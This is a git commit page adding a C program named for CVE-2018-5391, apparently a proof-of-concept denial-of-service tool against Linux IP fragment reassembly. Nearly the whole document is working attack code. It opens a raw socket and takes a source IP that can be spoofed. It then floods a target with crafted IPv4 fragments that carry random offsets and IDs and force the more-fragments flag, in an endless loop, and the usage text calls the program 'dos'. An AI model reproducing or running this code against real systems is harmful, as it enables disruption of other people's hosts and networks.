diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2018-09-29 21:54:46 +0200 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2018-09-29 22:01:15 +0200 |
commit | f19c310b629dce4c5594b9e755cf864d5a325f8f (patch) | |
tree | b206580f9e8f406476c97031dd81c918e80e2822 | |
parent | ca29d05e022a2937dbe0e0b82263e57a2a294ff6 (diff) |
*brrrrr*
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
-rw-r--r-- | cve-2018-5391.c | 108 |
1 files changed, 108 insertions, 0 deletions
diff --git a/cve-2018-5391.c b/cve-2018-5391.c new file mode 100644 index 0000000..9f16d7e --- /dev/null +++ b/cve-2018-5391.c @@ -0,0 +1,108 @@ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <time.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <netinet/in.h> +#include <netinet/ip.h> +#include <netinet/ip_icmp.h> +#include <arpa/inet.h> +#include <assert.h> +#include <errno.h> + +#define PKG_BUF 2048 + + +static inline void die_on_error(const char *err_prefix, int ret) +{ + if (ret) { + if (errno) + perror(err_prefix); + abort(); + } +} + +static unsigned short csum(unsigned short *ptr, int nbytes) +{ + long sum; + unsigned short oddbyte; + short answer; + + sum = 0; + + while (nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if (nbytes == 1) { + oddbyte = 0; + *((u_char*) &oddbyte) =* (u_char*) ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum = sum + (sum >> 16); + answer = (short) ~sum; + + return(answer); +} + +int main(int argc, char **argv) +{ + unsigned char pkg[PKG_BUF]; + struct iphdr *ip = (struct iphdr *) pkg; + struct sockaddr_in dest; + int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); + int r, val = 1; + size_t data_size = 896 - sizeof *ip; + useconds_t send_rate = 50 * 1000; /* 50ms */ + + die_on_error("socket", s < 0); + + r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val); + die_on_error("setsockopt", r != 0); + + if (argc != 3) { + printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos")); + return 1; + } + printf("smack: %s -> %s\n", argv[1], argv[2]); + + memset(&dest, 0, sizeof dest); + memset(pkg, 0, sizeof pkg); + + ip->ihl = 5; + ip->version = 4; + ip->tos = 0; + ip->tot_len = data_size - sizeof(struct iphdr); + assert(ip->tot_len <= PKG_BUF); + ip->id = htonl(0xDEAD); + ip->frag_off = htonl(0xBEEF); + ip->ttl = 255; + ip->protocol = IPPROTO_IP; + ip->check = 0; + ip->saddr = inet_addr(argv[1]); + ip->daddr = inet_addr(argv[2]); + ip->check = csum((unsigned short *) pkg, sizeof *ip); + + dest.sin_family = AF_INET; + dest.sin_addr.s_addr = inet_addr(argv[2]); + + srandom(time(NULL)); + while (1) { + //ip->saddr = (uint32_t) random(); + ip->frag_off = (uint16_t) random(); + ip->frag_off &= 0xFF1F; /* zero reserved,dont-frag,more-frag (little-endian) */ + ip->frag_off |= 0x0020; /* force more-frag set (little-endian) */ + ip->id = (uint16_t) random(); + r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest); + die_on_error("sendto", r != ip->tot_len); + + usleep(send_rate); + } + + return 0; +} |